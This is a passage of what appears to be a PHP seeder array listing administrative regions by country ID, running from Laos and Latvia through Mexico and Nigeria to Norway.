'name' => 'viangchan prefecture'],\n ['country_id' => '119', 'name' => 'viangchan province'],\n ['country_id' => '119', 'name' => 'xaignabury'],\n ['country_id' => '119', 'name' => 'xiang khuang'],\n ['country_id' => '120', 'name' => 'aizkraukles'],\n ['country_id' => '120', 'name' => 'aluksnes'],\n ['country_id' => '120', 'name' => 'balvu'],\n ['country_id' => '120', 'name' => 'bauskas'],\n ['country_id' => '120', 'name' => 'cesu'],\n ['country_id' => '120', 'name' => 'daugavpils'],\n ['country_id' => '120', 'name' => 'daugavpils city'],\n ['country_id' => '120', 'name' => 'dobeles'],\n ['country_id' => '120', 'name' => 'gulbenes'],\n ['country_id' => '120', 'name' => 'jekabspils'],\n ['country_id' => '120', 'name' => 'jelgava'],\n ['country_id' => '120', 'name' => 'jelgavas'],\n ['country_id' => '120', 'name' => 'jurmala city'],\n ['country_id' => '120', 'name' => 'kraslavas'],\n ['country_id' => '120', 'name' => 'kuldigas'],\n ['country_id' => '120', 'name' => 'liepaja'],\n ['country_id' => '120', 'name' => 'liepajas'],\n ['country_id' => '120', 'name' => 'limbazhu'],\n ['country_id' => '120', 'name' => 'ludzas'],\n ['country_id' => '120', 'name' => 'madonas'],\n ['country_id' => '120', 'name' => 'ogres'],\n ['country_id' => '120', 'name' => 'preilu'],\n ['country_id' => '120', 'name' => 'rezekne'],\n ['country_id' => '120', 'name' => 'rezeknes'],\n ['country_id' => '120', 'name' => 'riga'],\n ['country_id' => '120', 'name' => 'rigas'],\n ['country_id' => '120', 'name' => 'saldus'],\n ['country_id' => '120', 'name' => 'talsu'],\n ['country_id' => '120', 'name' => 'tukuma'],\n ['country_id' => '120', 'name' => 'valkas'],\n ['country_id' => '120', 'name' => 'valmieras'],\n ['country_id' => '120', 'name' => 'ventspils'],\n ['country_id' => '120', 'name' => 'ventspils city'],\n ['country_id' => '121', 'name' => 'beirut'],\n ['country_id' => '121', 'name' => 'jabal lubnan'],\n ['country_id' => '121', 'name' => 'mohafazat liban-nord'],\n ['country_id' => '121', 'name' => 'mohafazat mont-liban'],\n ['country_id' => '121', 'name' => 'sidon'],\n ['country_id' => '121', 'name' => 'al-biqa'],\n ['country_id' => '121', 'name' => 'al-janub'],\n ['country_id' => '121', 'name' => 'an-nabatiyah'],\n ['country_id' => '121', 'name' => 'ash-shamal'],\n ['country_id' => '122', 'name' => 'berea'],\n ['country_id' => '122', 'name' => 'butha-buthe'],\n ['country_id' => '122', 'name' => 'leribe'],\n ['country_id' => '122', 'name' => 'mafeteng'],\n ['country_id' => '122', 'name' => 'maseru'],\n ['country_id' => '122', 'name' => 'mohale\\'s hoek'],\n ['country_id' => '122', 'name' => 'mokhotlong'],\n ['country_id' => '122', 'name' => 'qacha\\'s nek'],\n ['country_id' => '122', 'name' => 'quthing'],\n ['country_id' => '122', 'name' => 'thaba-tseka'],\n ['country_id' => '123', 'name' => 'bomi'],\n ['country_id' => '123', 'name' => 'bong'],\n ['country_id' => '123', 'name' => 'grand bassa'],\n ['country_id' => '123', 'name' => 'grand cape mount'],\n ['country_id' => '123', 'name' => 'grand gedeh'],\n ['country_id' => '123', 'name' => 'loffa'],\n ['country_id' => '123', 'name' => 'margibi'],\n ['country_id' => '123', 'name' => 'maryland and grand kru'],\n ['country_id' => '123', 'name' => 'montserrado'],\n ['country_id' => '123', 'name' => 'nimba'],\n ['country_id' => '123', 'name' => 'rivercess'],\n ['country_id' => '123', 'name' => 'sinoe'],\n ['country_id' => '124', 'name' => 'ajdabiya'],\n ['country_id' => '124', 'name' => 'fezzan'],\n ['country_id' => '124', 'name' => 'banghazi'],\n ['country_id' => '124', 'name' => 'darnah'],\n ['country_id' => '124', 'name' => 'ghadamis'],\n ['country_id' => '124', 'name' => 'gharyan'],\n ['country_id' => '124', 'name' => 'misratah'],\n ['country_id' => '124', 'name' => 'murzuq'],\n ['country_id' => '124', 'name' => 'sabha'],\n ['country_id' => '124', 'name' => 'sawfajjin'],\n ['country_id' => '124', 'name' => 'surt'],\n ['country_id' => '124', 'name' => 'tarabulus'],\n ['country_id' => '124', 'name' => 'tarhunah'],\n ['country_id' => '124', 'name' => 'tripolitania'],\n ['country_id' => '124', 'name' => 'tubruq'],\n ['country_id' => '124', 'name' => 'yafran'],\n ['country_id' => '124', 'name' => 'zlitan'],\n ['country_id' => '124', 'name' => 'al-\\'aziziyah'],\n ['country_id' => '124', 'name' => 'al-fatih'],\n ['country_id' => '124', 'name' => 'al-jabal al akhdar'],\n ['country_id' => '124', 'name' => 'al-jufrah'],\n ['country_id' => '124', 'name' => 'al-khums'],\n ['country_id' => '124', 'name' => 'al-kufrah'],\n ['country_id' => '124', 'name' => 'an-nuqat al-khams'],\n ['country_id' => '124', 'name' => 'ash-shati\\''],\n ['country_id' => '124', 'name' => 'az-zawiyah'],\n ['country_id' => '125', 'name' => 'balzers'],\n ['country_id' => '125', 'name' => 'eschen'],\n ['country_id' => '125', 'name' => 'gamprin'],\n ['country_id' => '125', 'name' => 'mauren'],\n ['country_id' => '125', 'name' => 'planken'],\n ['country_id' => '125', 'name' => 'ruggell'],\n ['country_id' => '125', 'name' => 'schaan'],\n ['country_id' => '125', 'name' => 'schellenberg'],\n ['country_id' => '125', 'name' => 'triesen'],\n ['country_id' => '125', 'name' => 'triesenberg'],\n ['country_id' => '125', 'name' => 'vaduz'],\n ['country_id' => '126', 'name' => 'alytaus'],\n ['country_id' => '126', 'name' => 'anyksciai'],\n ['country_id' => '126', 'name' => 'kauno'],\n ['country_id' => '126', 'name' => 'klaipedos'],\n ['country_id' => '126', 'name' => 'marijampoles'],\n ['country_id' => '126', 'name' => 'panevezhio'],\n ['country_id' => '126', 'name' => 'panevezys'],\n ['country_id' => '126', 'name' => 'shiauliu'],\n ['country_id' => '126', 'name' => 'taurages'],\n ['country_id' => '126', 'name' => 'telshiu'],\n ['country_id' => '126', 'name' => 'telsiai'],\n ['country_id' => '126', 'name' => 'utenos'],\n ['country_id' => '126', 'name' => 'vilniaus'],\n ['country_id' => '127', 'name' => 'capellen'],\n ['country_id' => '127', 'name' => 'clervaux'],\n ['country_id' => '127', 'name' => 'diekirch'],\n ['country_id' => '127', 'name' => 'echternach'],\n ['country_id' => '127', 'name' => 'esch-sur-alzette'],\n ['country_id' => '127', 'name' => 'grevenmacher'],\n ['country_id' => '127', 'name' => 'luxembourg'],\n ['country_id' => '127', 'name' => 'mersch'],\n ['country_id' => '127', 'name' => 'redange'],\n ['country_id' => '127', 'name' => 'remich'],\n ['country_id' => '127', 'name' => 'vianden'],\n ['country_id' => '127', 'name' => 'wiltz'],\n ['country_id' => '128', 'name' => 'macau'],\n ['country_id' => '129', 'name' => 'berovo'],\n ['country_id' => '129', 'name' => 'bitola'],\n ['country_id' => '129', 'name' => 'brod'],\n ['country_id' => '129', 'name' => 'debar'],\n ['country_id' => '129', 'name' => 'delchevo'],\n ['country_id' => '129', 'name' => 'demir hisar'],\n ['country_id' => '129', 'name' => 'gevgelija'],\n ['country_id' => '129', 'name' => 'gostivar'],\n ['country_id' => '129', 'name' => 'kavadarci'],\n ['country_id' => '129', 'name' => 'kichevo'],\n ['country_id' => '129', 'name' => 'kochani'],\n ['country_id' => '129', 'name' => 'kratovo'],\n ['country_id' => '129', 'name' => 'kriva palanka'],\n ['country_id' => '129', 'name' => 'krushevo'],\n ['country_id' => '129', 'name' => 'kumanovo'],\n ['country_id' => '129', 'name' => 'negotino'],\n ['country_id' => '129', 'name' => 'ohrid'],\n ['country_id' => '129', 'name' => 'prilep'],\n ['country_id' => '129', 'name' => 'probishtip'],\n ['country_id' => '129', 'name' => 'radovish'],\n ['country_id' => '129', 'name' => 'resen'],\n ['country_id' => '129', 'name' => 'shtip'],\n ['country_id' => '129', 'name' => 'skopje'],\n ['country_id' => '129', 'name' => 'struga'],\n ['country_id' => '129', 'name' => 'strumica'],\n ['country_id' => '129', 'name' => 'sveti nikole'],\n ['country_id' => '129', 'name' => 'tetovo'],\n ['country_id' => '129', 'name' => 'valandovo'],\n ['country_id' => '129', 'name' => 'veles'],\n ['country_id' => '129', 'name' => 'vinica'],\n ['country_id' => '130', 'name' => 'antananarivo'],\n ['country_id' => '130', 'name' => 'antsiranana'],\n ['country_id' => '130', 'name' => 'fianarantsoa'],\n ['country_id' => '130', 'name' => 'mahajanga'],\n ['country_id' => '130', 'name' => 'toamasina'],\n ['country_id' => '130', 'name' => 'toliary'],\n ['country_id' => '131', 'name' => 'balaka'],\n ['country_id' => '131', 'name' => 'blantyre city'],\n ['country_id' => '131', 'name' => 'chikwawa'],\n ['country_id' => '131', 'name' => 'chiradzulu'],\n ['country_id' => '131', 'name' => 'chitipa'],\n ['country_id' => '131', 'name' => 'dedza'],\n ['country_id' => '131', 'name' => 'dowa'],\n ['country_id' => '131', 'name' => 'karonga'],\n ['country_id' => '131', 'name' => 'kasungu'],\n ['country_id' => '131', 'name' => 'lilongwe city'],\n ['country_id' => '131', 'name' => 'machinga'],\n ['country_id' => '131', 'name' => 'mangochi'],\n ['country_id' => '131', 'name' => 'mchinji'],\n ['country_id' => '131', 'name' => 'mulanje'],\n ['country_id' => '131', 'name' => 'mwanza'],\n ['country_id' => '131', 'name' => 'mzimba'],\n ['country_id' => '131', 'name' => 'mzuzu city'],\n ['country_id' => '131', 'name' => 'nkhata bay'],\n ['country_id' => '131', 'name' => 'nkhotakota'],\n ['country_id' => '131', 'name' => 'nsanje'],\n ['country_id' => '131', 'name' => 'ntcheu'],\n ['country_id' => '131', 'name' => 'ntchisi'],\n ['country_id' => '131', 'name' => 'phalombe'],\n ['country_id' => '131', 'name' => 'rumphi'],\n ['country_id' => '131', 'name' => 'salima'],\n ['country_id' => '131', 'name' => 'thyolo'],\n ['country_id' => '131', 'name' => 'zomba municipality'],\n ['country_id' => '132', 'name' => 'johor'],\n ['country_id' => '132', 'name' => 'kedah'],\n ['country_id' => '132', 'name' => 'kelantan'],\n ['country_id' => '132', 'name' => 'kuala lumpur'],\n ['country_id' => '132', 'name' => 'labuan'],\n ['country_id' => '132', 'name' => 'melaka'],\n ['country_id' => '132', 'name' => 'negeri johor'],\n ['country_id' => '132', 'name' => 'negeri sembilan'],\n ['country_id' => '132', 'name' => 'pahang'],\n ['country_id' => '132', 'name' => 'penang'],\n ['country_id' => '132', 'name' => 'perak'],\n ['country_id' => '132', 'name' => 'perlis'],\n ['country_id' => '132', 'name' => 'pulau pinang'],\n ['country_id' => '132', 'name' => 'sabah'],\n ['country_id' => '132', 'name' => 'sarawak'],\n ['country_id' => '132', 'name' => 'selangor'],\n ['country_id' => '132', 'name' => 'sembilan'],\n ['country_id' => '132', 'name' => 'terengganu'],\n ['country_id' => '133', 'name' => 'alif alif'],\n ['country_id' => '133', 'name' => 'alif dhaal'],\n ['country_id' => '133', 'name' => 'baa'],\n ['country_id' => '133', 'name' => 'dhaal'],\n ['country_id' => '133', 'name' => 'faaf'],\n ['country_id' => '133', 'name' => 'gaaf alif'],\n ['country_id' => '133', 'name' => 'gaaf dhaal'],\n ['country_id' => '133', 'name' => 'ghaviyani'],\n ['country_id' => '133', 'name' => 'haa alif'],\n ['country_id' => '133', 'name' => 'haa dhaal'],\n ['country_id' => '133', 'name' => 'kaaf'],\n ['country_id' => '133', 'name' => 'laam'],\n ['country_id' => '133', 'name' => 'lhaviyani'],\n ['country_id' => '133', 'name' => 'male'],\n ['country_id' => '133', 'name' => 'miim'],\n ['country_id' => '133', 'name' => 'nuun'],\n ['country_id' => '133', 'name' => 'raa'],\n ['country_id' => '133', 'name' => 'shaviyani'],\n ['country_id' => '133', 'name' => 'siin'],\n ['country_id' => '133', 'name' => 'thaa'],\n ['country_id' => '133', 'name' => 'vaav'],\n ['country_id' => '134', 'name' => 'bamako'],\n ['country_id' => '134', 'name' => 'gao'],\n ['country_id' => '134', 'name' => 'kayes'],\n ['country_id' => '134', 'name' => 'kidal'],\n ['country_id' => '134', 'name' => 'koulikoro'],\n ['country_id' => '134', 'name' => 'mopti'],\n ['country_id' => '134', 'name' => 'segou'],\n ['country_id' => '134', 'name' => 'sikasso'],\n ['country_id' => '134', 'name' => 'tombouctou'],\n ['country_id' => '135', 'name' => 'gozo and comino'],\n ['country_id' => '135', 'name' => 'inner harbour'],\n ['country_id' => '135', 'name' => 'northern'],\n ['country_id' => '135', 'name' => 'outer harbour'],\n ['country_id' => '135', 'name' => 'south eastern'],\n ['country_id' => '135', 'name' => 'valletta'],\n ['country_id' => '135', 'name' => 'western'],\n ['country_id' => '136', 'name' => 'castletown'],\n ['country_id' => '136', 'name' => 'douglas'],\n ['country_id' => '136', 'name' => 'laxey'],\n ['country_id' => '136', 'name' => 'onchan'],\n ['country_id' => '136', 'name' => 'peel'],\n ['country_id' => '136', 'name' => 'port erin'],\n ['country_id' => '136', 'name' => 'port saint mary'],\n ['country_id' => '136', 'name' => 'ramsey'],\n ['country_id' => '137', 'name' => 'ailinlaplap'],\n ['country_id' => '137', 'name' => 'ailuk'],\n ['country_id' => '137', 'name' => 'arno'],\n ['country_id' => '137', 'name' => 'aur'],\n ['country_id' => '137', 'name' => 'bikini'],\n ['country_id' => '137', 'name' => 'ebon'],\n ['country_id' => '137', 'name' => 'enewetak'],\n ['country_id' => '137', 'name' => 'jabat'],\n ['country_id' => '137', 'name' => 'jaluit'],\n ['country_id' => '137', 'name' => 'kili'],\n ['country_id' => '137', 'name' => 'kwajalein'],\n ['country_id' => '137', 'name' => 'lae'],\n ['country_id' => '137', 'name' => 'lib'],\n ['country_id' => '137', 'name' => 'likiep'],\n ['country_id' => '137', 'name' => 'majuro'],\n ['country_id' => '137', 'name' => 'maloelap'],\n ['country_id' => '137', 'name' => 'mejit'],\n ['country_id' => '137', 'name' => 'mili'],\n ['country_id' => '137', 'name' => 'namorik'],\n ['country_id' => '137', 'name' => 'namu'],\n ['country_id' => '137', 'name' => 'rongelap'],\n ['country_id' => '137', 'name' => 'ujae'],\n ['country_id' => '137', 'name' => 'utrik'],\n ['country_id' => '137', 'name' => 'wotho'],\n ['country_id' => '137', 'name' => 'wotje'],\n ['country_id' => '138', 'name' => 'fort-de-france'],\n ['country_id' => '138', 'name' => 'la trinite'],\n ['country_id' => '138', 'name' => 'le marin'],\n ['country_id' => '138', 'name' => 'saint-pierre'],\n ['country_id' => '139', 'name' => 'adrar'],\n ['country_id' => '139', 'name' => 'assaba'],\n ['country_id' => '139', 'name' => 'brakna'],\n ['country_id' => '139', 'name' => 'dhakhlat nawadibu'],\n ['country_id' => '139', 'name' => 'hudh-al-gharbi'],\n ['country_id' => '139', 'name' => 'hudh-ash-sharqi'],\n ['country_id' => '139', 'name' => 'inshiri'],\n ['country_id' => '139', 'name' => 'nawakshut'],\n ['country_id' => '139', 'name' => 'qidimagha'],\n ['country_id' => '139', 'name' => 'qurqul'],\n ['country_id' => '139', 'name' => 'taqant'],\n ['country_id' => '139', 'name' => 'tiris zammur'],\n ['country_id' => '139', 'name' => 'trarza'],\n ['country_id' => '140', 'name' => 'black river'],\n ['country_id' => '140', 'name' => 'eau coulee'],\n ['country_id' => '140', 'name' => 'flacq'],\n ['country_id' => '140', 'name' => 'floreal'],\n ['country_id' => '140', 'name' => 'grand port'],\n ['country_id' => '140', 'name' => 'moka'],\n ['country_id' => '140', 'name' => 'pamplempousses'],\n ['country_id' => '140', 'name' => 'plaines wilhelm'],\n ['country_id' => '140', 'name' => 'port louis'],\n ['country_id' => '140', 'name' => 'riviere du rempart'],\n ['country_id' => '140', 'name' => 'rodrigues'],\n ['country_id' => '140', 'name' => 'rose hill'],\n ['country_id' => '140', 'name' => 'savanne'],\n ['country_id' => '141', 'name' => 'mayotte'],\n ['country_id' => '141', 'name' => 'pamanzi'],\n ['country_id' => '142', 'name' => 'aguascalientes'],\n ['country_id' => '142', 'name' => 'baja california'],\n ['country_id' => '142', 'name' => 'baja california sur'],\n ['country_id' => '142', 'name' => 'campeche'],\n ['country_id' => '142', 'name' => 'chiapas'],\n ['country_id' => '142', 'name' => 'chihuahua'],\n ['country_id' => '142', 'name' => 'coahuila'],\n ['country_id' => '142', 'name' => 'colima'],\n ['country_id' => '142', 'name' => 'distrito federal'],\n ['country_id' => '142', 'name' => 'durango'],\n ['country_id' => '142', 'name' => 'estado de mexico'],\n ['country_id' => '142', 'name' => 'guanajuato'],\n ['country_id' => '142', 'name' => 'guerrero'],\n ['country_id' => '142', 'name' => 'hidalgo'],\n ['country_id' => '142', 'name' => 'jalisco'],\n ['country_id' => '142', 'name' => 'mexico'],\n ['country_id' => '142', 'name' => 'michoacan'],\n ['country_id' => '142', 'name' => 'morelos'],\n ['country_id' => '142', 'name' => 'nayarit'],\n ['country_id' => '142', 'name' => 'nuevo leon'],\n ['country_id' => '142', 'name' => 'oaxaca'],\n ['country_id' => '142', 'name' => 'puebla'],\n ['country_id' => '142', 'name' => 'queretaro'],\n ['country_id' => '142', 'name' => 'quintana roo'],\n ['country_id' => '142', 'name' => 'san luis potosi'],\n ['country_id' => '142', 'name' => 'sinaloa'],\n ['country_id' => '142', 'name' => 'sonora'],\n ['country_id' => '142', 'name' => 'tabasco'],\n ['country_id' => '142', 'name' => 'tamaulipas'],\n ['country_id' => '142', 'name' => 'tlaxcala'],\n ['country_id' => '142', 'name' => 'veracruz'],\n ['country_id' => '142', 'name' => 'yucatan'],\n ['country_id' => '142', 'name' => 'zacatecas'],\n ['country_id' => '143', 'name' => 'chuuk'],\n ['country_id' => '143', 'name' => 'kusaie'],\n ['country_id' => '143', 'name' => 'pohnpei'],\n ['country_id' => '143', 'name' => 'yap'],\n ['country_id' => '144', 'name' => 'balti'],\n ['country_id' => '144', 'name' => 'cahul'],\n ['country_id' => '144', 'name' => 'chisinau'],\n ['country_id' => '144', 'name' => 'chisinau oras'],\n ['country_id' => '144', 'name' => 'edinet'],\n ['country_id' => '144', 'name' => 'gagauzia'],\n ['country_id' => '144', 'name' => 'lapusna'],\n ['country_id' => '144', 'name' => 'orhei'],\n ['country_id' => '144', 'name' => 'soroca'],\n ['country_id' => '144', 'name' => 'taraclia'],\n ['country_id' => '144', 'name' => 'tighina'],\n ['country_id' => '144', 'name' => 'transnistria'],\n ['country_id' => '144', 'name' => 'ungheni'],\n ['country_id' => '145', 'name' => 'fontvieille'],\n ['country_id' => '145', 'name' => 'la condamine'],\n ['country_id' => '145', 'name' => 'monaco-ville'],\n ['country_id' => '145', 'name' => 'monte carlo'],\n ['country_id' => '146', 'name' => 'arhangaj'],\n ['country_id' => '146', 'name' => 'bajan-olgij'],\n ['country_id' => '146', 'name' => 'bajanhongor'],\n ['country_id' => '146', 'name' => 'bulgan'],\n ['country_id' => '146', 'name' => 'darhan-uul'],\n ['country_id' => '146', 'name' => 'dornod'],\n ['country_id' => '146', 'name' => 'dornogovi'],\n ['country_id' => '146', 'name' => 'dundgovi'],\n ['country_id' => '146', 'name' => 'govi-altaj'],\n ['country_id' => '146', 'name' => 'govisumber'],\n ['country_id' => '146', 'name' => 'hentij'],\n ['country_id' => '146', 'name' => 'hovd'],\n ['country_id' => '146', 'name' => 'hovsgol'],\n ['country_id' => '146', 'name' => 'omnogovi'],\n ['country_id' => '146', 'name' => 'orhon'],\n ['country_id' => '146', 'name' => 'ovorhangaj'],\n ['country_id' => '146', 'name' => 'selenge'],\n ['country_id' => '146', 'name' => 'suhbaatar'],\n ['country_id' => '146', 'name' => 'tov'],\n ['country_id' => '146', 'name' => 'ulaanbaatar'],\n ['country_id' => '146', 'name' => 'uvs'],\n ['country_id' => '146', 'name' => 'zavhan'],\n ['country_id' => '147', 'name' => 'montserrat'],\n ['country_id' => '148', 'name' => 'agadir'],\n ['country_id' => '148', 'name' => 'casablanca'],\n ['country_id' => '148', 'name' => 'chaouia-ouardigha'],\n ['country_id' => '148', 'name' => 'doukkala-abda'],\n ['country_id' => '148', 'name' => 'fes-boulemane'],\n ['country_id' => '148', 'name' => 'gharb-chrarda-beni hssen'],\n ['country_id' => '148', 'name' => 'guelmim'],\n ['country_id' => '148', 'name' => 'kenitra'],\n ['country_id' => '148', 'name' => 'marrakech-tensift-al haouz'],\n ['country_id' => '148', 'name' => 'meknes-tafilalet'],\n ['country_id' => '148', 'name' => 'oriental'],\n ['country_id' => '148', 'name' => 'oujda'],\n ['country_id' => '148', 'name' => 'province de tanger'],\n ['country_id' => '148', 'name' => 'rabat-sale-zammour-zaer'],\n ['country_id' => '148', 'name' => 'sala al jadida'],\n ['country_id' => '148', 'name' => 'settat'],\n ['country_id' => '148', 'name' => 'souss massa-draa'],\n ['country_id' => '148', 'name' => 'tadla-azilal'],\n ['country_id' => '148', 'name' => 'tangier-tetouan'],\n ['country_id' => '148', 'name' => 'taza-al hoceima-taounate'],\n ['country_id' => '148', 'name' => 'wilaya de casablanca'],\n ['country_id' => '148', 'name' => 'wilaya de rabat-sale'],\n ['country_id' => '149', 'name' => 'cabo delgado'],\n ['country_id' => '149', 'name' => 'gaza'],\n ['country_id' => '149', 'name' => 'inhambane'],\n ['country_id' => '149', 'name' => 'manica'],\n ['country_id' => '149', 'name' => 'maputo'],\n ['country_id' => '149', 'name' => 'maputo provincia'],\n ['country_id' => '149', 'name' => 'nampula'],\n ['country_id' => '149', 'name' => 'niassa'],\n ['country_id' => '149', 'name' => 'sofala'],\n ['country_id' => '149', 'name' => 'tete'],\n ['country_id' => '149', 'name' => 'zambezia'],\n ['country_id' => '150', 'name' => 'ayeyarwady'],\n ['country_id' => '150', 'name' => 'bago'],\n ['country_id' => '150', 'name' => 'chin'],\n ['country_id' => '150', 'name' => 'kachin'],\n ['country_id' => '150', 'name' => 'kayah'],\n ['country_id' => '150', 'name' => 'kayin'],\n ['country_id' => '150', 'name' => 'magway'],\n ['country_id' => '150', 'name' => 'mandalay'],\n ['country_id' => '150', 'name' => 'mon'],\n ['country_id' => '150', 'name' => 'nay pyi taw'],\n ['country_id' => '150', 'name' => 'rakhine'],\n ['country_id' => '150', 'name' => 'sagaing'],\n ['country_id' => '150', 'name' => 'shan'],\n ['country_id' => '150', 'name' => 'tanintharyi'],\n ['country_id' => '150', 'name' => 'yangon'],\n ['country_id' => '151', 'name' => 'caprivi'],\n ['country_id' => '151', 'name' => 'erongo'],\n ['country_id' => '151', 'name' => 'hardap'],\n ['country_id' => '151', 'name' => 'karas'],\n ['country_id' => '151', 'name' => 'kavango'],\n ['country_id' => '151', 'name' => 'khomas'],\n ['country_id' => '151', 'name' => 'kunene'],\n ['country_id' => '151', 'name' => 'ohangwena'],\n ['country_id' => '151', 'name' => 'omaheke'],\n ['country_id' => '151', 'name' => 'omusati'],\n ['country_id' => '151', 'name' => 'oshana'],\n ['country_id' => '151', 'name' => 'oshikoto'],\n ['country_id' => '151', 'name' => 'otjozondjupa'],\n ['country_id' => '152', 'name' => 'yaren'],\n ['country_id' => '153', 'name' => 'bagmati'],\n ['country_id' => '153', 'name' => 'bheri'],\n ['country_id' => '153', 'name' => 'dhawalagiri'],\n ['country_id' => '153', 'name' => 'gandaki'],\n ['country_id' => '153', 'name' => 'janakpur'],\n ['country_id' => '153', 'name' => 'karnali'],\n ['country_id' => '153', 'name' => 'koshi'],\n ['country_id' => '153', 'name' => 'lumbini'],\n ['country_id' => '153', 'name' => 'mahakali'],\n ['country_id' => '153', 'name' => 'mechi'],\n ['country_id' => '153', 'name' => 'narayani'],\n ['country_id' => '153', 'name' => 'rapti'],\n ['country_id' => '153', 'name' => 'sagarmatha'],\n ['country_id' => '153', 'name' => 'seti'],\n ['country_id' => '154', 'name' => 'bonaire'],\n ['country_id' => '154', 'name' => 'curacao'],\n ['country_id' => '154', 'name' => 'saba'],\n ['country_id' => '154', 'name' => 'sint eustatius'],\n ['country_id' => '154', 'name' => 'sint maarten'],\n ['country_id' => '155', 'name' => 'amsterdam'],\n ['country_id' => '155', 'name' => 'benelux'],\n ['country_id' => '155', 'name' => 'drenthe'],\n ['country_id' => '155', 'name' => 'flevoland'],\n ['country_id' => '155', 'name' => 'friesland'],\n ['country_id' => '155', 'name' => 'gelderland'],\n ['country_id' => '155', 'name' => 'groningen'],\n ['country_id' => '155', 'name' => 'limburg'],\n ['country_id' => '155', 'name' => 'noord-brabant'],\n ['country_id' => '155', 'name' => 'noord-holland'],\n ['country_id' => '155', 'name' => 'overijssel'],\n ['country_id' => '155', 'name' => 'south holland'],\n ['country_id' => '155', 'name' => 'utrecht'],\n ['country_id' => '155', 'name' => 'zeeland'],\n ['country_id' => '155', 'name' => 'zuid-holland'],\n ['country_id' => '156', 'name' => 'iles'],\n ['country_id' => '156', 'name' => 'nord'],\n ['country_id' => '156', 'name' => 'sud'],\n ['country_id' => '157', 'name' => 'area outside region'],\n ['country_id' => '157', 'name' => 'auckland'],\n ['country_id' => '157', 'name' => 'bay of plenty'],\n ['country_id' => '157', 'name' => 'canterbury'],\n ['country_id' => '157', 'name' => 'christchurch'],\n ['country_id' => '157', 'name' => 'gisborne'],\n ['country_id' => '157', 'name' => 'hawke\\'s bay'],\n ['country_id' => '157', 'name' => 'manawatu-wanganui'],\n ['country_id' => '157', 'name' => 'marlborough'],\n ['country_id' => '157', 'name' => 'nelson'],\n ['country_id' => '157', 'name' => 'northland'],\n ['country_id' => '157', 'name' => 'otago'],\n ['country_id' => '157', 'name' => 'rodney'],\n ['country_id' => '157', 'name' => 'southland'],\n ['country_id' => '157', 'name' => 'taranaki'],\n ['country_id' => '157', 'name' => 'tasman'],\n ['country_id' => '157', 'name' => 'waikato'],\n ['country_id' => '157', 'name' => 'wellington'],\n ['country_id' => '157', 'name' => 'west coast'],\n ['country_id' => '158', 'name' => 'atlantico norte'],\n ['country_id' => '158', 'name' => 'atlantico sur'],\n ['country_id' => '158', 'name' => 'boaco'],\n ['country_id' => '158', 'name' => 'carazo'],\n ['country_id' => '158', 'name' => 'chinandega'],\n ['country_id' => '158', 'name' => 'chontales'],\n ['country_id' => '158', 'name' => 'esteli'],\n ['country_id' => '158', 'name' => 'granada'],\n ['country_id' => '158', 'name' => 'jinotega'],\n ['country_id' => '158', 'name' => 'leon'],\n ['country_id' => '158', 'name' => 'madriz'],\n ['country_id' => '158', 'name' => 'managua'],\n ['country_id' => '158', 'name' => 'masaya'],\n ['country_id' => '158', 'name' => 'matagalpa'],\n ['country_id' => '158', 'name' => 'nueva segovia'],\n ['country_id' => '158', 'name' => 'rio san juan'],\n ['country_id' => '158', 'name' => 'rivas'],\n ['country_id' => '159', 'name' => 'agadez'],\n ['country_id' => '159', 'name' => 'diffa'],\n ['country_id' => '159', 'name' => 'dosso'],\n ['country_id' => '159', 'name' => 'maradi'],\n ['country_id' => '159', 'name' => 'niamey'],\n ['country_id' => '159', 'name' => 'tahoua'],\n ['country_id' => '159', 'name' => 'tillabery'],\n ['country_id' => '159', 'name' => 'zinder'],\n ['country_id' => '160', 'name' => 'abia'],\n ['country_id' => '160', 'name' => 'abuja federal capital territor'],\n ['country_id' => '160', 'name' => 'adamawa'],\n ['country_id' => '160', 'name' => 'akwa ibom'],\n ['country_id' => '160', 'name' => 'anambra'],\n ['country_id' => '160', 'name' => 'bauchi'],\n ['country_id' => '160', 'name' => 'bayelsa'],\n ['country_id' => '160', 'name' => 'benue'],\n ['country_id' => '160', 'name' => 'borno'],\n ['country_id' => '160', 'name' => 'cross river'],\n ['country_id' => '160', 'name' => 'delta'],\n ['country_id' => '160', 'name' => 'ebonyi'],\n ['country_id' => '160', 'name' => 'edo'],\n ['country_id' => '160', 'name' => 'ekiti'],\n ['country_id' => '160', 'name' => 'enugu'],\n ['country_id' => '160', 'name' => 'gombe'],\n ['country_id' => '160', 'name' => 'imo'],\n ['country_id' => '160', 'name' => 'jigawa'],\n ['country_id' => '160', 'name' => 'kaduna'],\n ['country_id' => '160', 'name' => 'kano'],\n ['country_id' => '160', 'name' => 'katsina'],\n ['country_id' => '160', 'name' => 'kebbi'],\n ['country_id' => '160', 'name' => 'kogi'],\n ['country_id' => '160', 'name' => 'kwara'],\n ['country_id' => '160', 'name' => 'lagos'],\n ['country_id' => '160', 'name' => 'nassarawa'],\n ['country_id' => '160', 'name' => 'niger'],\n ['country_id' => '160', 'name' => 'ogun'],\n ['country_id' => '160', 'name' => 'ondo'],\n ['country_id' => '160', 'name' => 'osun'],\n ['country_id' => '160', 'name' => 'oyo'],\n ['country_id' => '160', 'name' => 'plateau'],\n ['country_id' => '160', 'name' => 'rivers'],\n ['country_id' => '160', 'name' => 'sokoto'],\n ['country_id' => '160', 'name' => 'taraba'],\n ['country_id' => '160', 'name' => 'yobe'],\n ['country_id' => '160', 'name' => 'zamfara'],\n ['country_id' => '161', 'name' => 'niue'],\n ['country_id' => '162', 'name' => 'norfolk island'],\n ['country_id' => '163', 'name' => 'northern islands'],\n ['country_id' => '163', 'name' => 'rota'],\n ['country_id' => '163', 'name' => 'saipan'],\n ['country_id' => '163', 'name' => 'tinian'],\n ['country_id' => '164', 'name' => 'akershus'],\n ['country_id' => '164', 'name' => 'aust agder'],\n ['country_id' => '164', 'name' => 'bergen'],\n ['country_id' => '164', 'name' => 'buskerud'],\n ['country_id' => '164', 'name' => 'finnmark'],\n ['country_id' => '164', 'name' => 'hedmark'],\n ['country_id' => '164', 'name' => 'hordaland'],\n ['country_id' => '164', 'name' => 'moere og romsdal'],\n ['country_id' => '164', 'name' => 'nord trondelag'],\n ['country_id' => '164', 'name' => 'nordland'],\n ['country_id' => '164', 'name' => 'oestfold'],\n ['country_id' => '164', 'name' => 'oppland'],\n ['country_id' => '164', 'name' => 'oslo'],\n ['country_id' => '164', 'name' => 'rogaland'],\n ['country_id' => '164', 'name' => 'soer troendelag'],\n ['country_id' => '164', 'name' => 'sogn og fjordane'],\n ['country_id' => '164', 'name' => 'stavern'],\n ['country_id' => '164', 'name' => 'sykkylven'],\n ['country_id' => '164', 'name' => 'telemark'],\n ['country_id' => 